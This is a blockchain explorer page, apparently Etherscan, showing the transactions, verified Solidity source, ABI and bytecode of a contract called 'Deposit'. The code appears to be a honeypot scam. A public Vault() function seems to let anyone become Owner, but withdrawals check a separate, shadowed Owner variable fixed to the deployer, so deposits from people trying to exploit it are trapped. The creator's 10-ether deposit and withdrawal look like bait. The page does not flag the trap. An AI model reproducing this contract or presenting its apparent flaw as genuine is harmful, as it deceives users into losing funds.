Sponsored Link:   SHIFT.cash - 1st ever car title loan platform on blockchain. Join NOW.
Contract Overview
ETH Balance: 0 Ether
ETH USD Value: $0
No Of Transactions: 6 txns
  Latest 6 txns

TxHash Age From To Value [TxFee]
0xdbaec9fb84d388e99d0cc293ca489bc7aa019d2c59fe849f4d3f099c43502bca25 days 15 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN   0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f5120 Ether0
0xc5ef2bb9a6c1b93997b8b8bf3ebc23c5e4e63339a9f7fdc89766fdfcf260c03e27 days 13 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN   0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f5120 Ether0
0x2a9fe75215aed1af79a54ffc578747081d24d6238cc5474176deb585c0b5c84927 days 13 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN   0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f5120 Ether0
0x0d38a2ee5b3173b012462f8465e2ddf9d3e6712405e36b513bb5678cd46e6ee829 days 12 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN   0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f51210 Ether0
0x417fdecde5cd97eb1d01c453540d2e35591794735d87b4f54a17bd10c6f2b98429 days 12 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN   0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f5120 Ether0.000000000041
0x26f4a5bbee7fc92480f93d659522fa5d51f9aed8a9a5ed0866cf85d7a55c388d29 days 12 hrs ago0x007e85ff4d8fc8109a0bd8aa651825297480167e  IN    Contract Creation0 Ether0.000000006911
[ Download CSV Export  ] 
 Internal Transactions as a result of Contract Execution
  Latest 1 Internal Transaction

ParentTxHash Block Age From To Value
0x2a9fe75215aed1af79a54ffc578747081d24d6238cc5474176deb585c0b5c849456557627 days 13 hrs ago0xa16cdcba1d6cb6874ff9fd8a6c8b82a3f834f5120x007e85ff4d8fc8109a0bd8aa651825297480167e10 Ether
[ Download CSV Export  ] 
Warning: The compiled contract might be susceptible to ZeroFunctionSelector (very low-severity), DelegateCallReturnValue (low-severity), ECRecoverMalformedInput (medium-severity) Solidity compiler bugs.

Contract Source Code Verified
Contract Name: Deposit
Compiler Version: v0.4.13+commit.fb4cb1a
Optimization Enabled: Yes
Runs (Optimiser):  200



  Contract Source Code   Find Similiar Contracts
// Copyright (C) 2017  The Halo Platform by Scott Morrison
//
// This is free software and you are welcome to redistribute it under certain conditions.
// ABSOLUTELY NO WARRANTY; for details visit: https://www.gnu.org/licenses/gpl-2.0.html
//
pragma solidity ^0.4.13;

contract ForeignToken {
    function balanceOf(address who) constant public returns (uint256);
    function transfer(address to, uint256 amount) public;
}

contract Owned {
    address public Owner = msg.sender;
    modifier onlyOwner { if (msg.sender == Owner) _; }
}

contract Deposit is Owned {
    address public Owner;
    mapping (address => uint) public Deposits;

    event Deposit(uint amount);
    event Withdraw(uint amount);
    
    function Vault() payable {
        Owner = msg.sender;
        deposit();
    }
    
    function() payable {
        deposit();
    }

    function deposit() payable {
        if (msg.value >= 1 ether) {
            Deposits[msg.sender] += msg.value;
            Deposit(msg.value);
        }
    }

    function kill() {
        if (this.balance == 0)
            selfdestruct(msg.sender);
    }
    
    function withdraw(uint amount) payable onlyOwner {
        if (Deposits[msg.sender] > 0 && amount <= Deposits[msg.sender]) {
            msg.sender.transfer(amount);
            Withdraw(amount);
        }
    }
    
    function withdrawToken(address token, uint amount) payable onlyOwner {
        uint bal = ForeignToken(token).balanceOf(address(this));
        if (bal >= amount) {
            ForeignToken(token).transfer(msg.sender, amount);
        }
    }
}

    Contract ABI  
[{"constant":false,"inputs":[],"name":"Vault","outputs":[],"payable":true,"type":"function"},{"constant":false,"inputs":[{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[{"name":"","type":"address"}],"name":"Deposits","outputs":[{"name":"","type":"uint256"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"type":"function"},{"constant":false,"inputs":[{"name":"token","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"payable":true,"type":"function"},{"constant":true,"inputs":[],"name":"Owner","outputs":[{"name":"","type":"address"}],"payable":false,"type":"function"},{"constant":false,"inputs":[],"name":"deposit","outputs":[],"payable":true,"type":"function"},{"payable":true,"type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"}]

  Contract Creation Code Switch To Opcodes View
606060405260008054600160a060020a03191633600160a060020a0316179055341561002a57600080fd5b5b6103f68061003a6000396000f300606060405236156100675763ffffffff60e060020a6000350416632d2c44f281146100785780632e1a7d4d146100825780633ee2d7c21461008f57806341c0e1b5146100c05780639e281a98146100d5578063b4a99a4e146100ee578063d0e30db01461011d575b6100765b610073610127565b5b565b005b61007661018e565b005b6100766004356101c1565b005b341561009a57600080fd5b6100ae600160a060020a0360043516610286565b60405190815260200160405180910390f35b34156100cb57600080fd5b610076610298565b005b610076600160a060020a03600435166024356102b8565b005b34156100f957600080fd5b6101016103bb565b604051600160a060020a03909116815260200160405180910390f35b610076610127565b005b670de0b6b3a7640000341061007357600160a060020a033316600090815260026020526040908190208054349081019091557f4d6ce1e535dbade1c23defba91e23b8f791ce5edc0cc320257a2b364e4e38426915190815260200160405180910390a15b5b565b6001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a0316179055610073610127565b5b565b60005433600160a060020a039081169116141561028057600160a060020a0333166000908152600260205260408120541180156102165750600160a060020a0333166000908152600260205260409020548111155b1561028057600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561024c57600080fd5b7f5b6b431d4476a211bb7d41c20d1aab9ae2321deee0d20be3d9fc9b1093fa6e3d8160405190815260200160405180910390a15b5b5b5b50565b60026020526000908152604090205481565b600160a060020a0330163115156100735733600160a060020a0316ff5b5b565b6000805433600160a060020a03908116911614156103b35782600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561032757600080fd5b6102c65a03f1151561033857600080fd5b50505060405180519150508181106103b35782600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561039e57600080fd5b6102c65a03f115156103af57600080fd5b5050505b5b5b5b505050565b600154600160a060020a0316815600a165627a7a72305820e25332b9c984b99d9adb15ac14deb4a409ff05c9da618349ee1649fa3553b8240029

   Swarm Source:
bzzr://e25332b9c984b99d9adb15ac14deb4a409ff05c9da618349ee1649fa3553b824

 

View All
Block Age txn Difficulty GasUsed Reward
View All
Block Age UncleNumber Difficulty GasUsed Reward
Make sure to use the "downvote" button for any spammy posts, and the "upvote" for interesting conversations.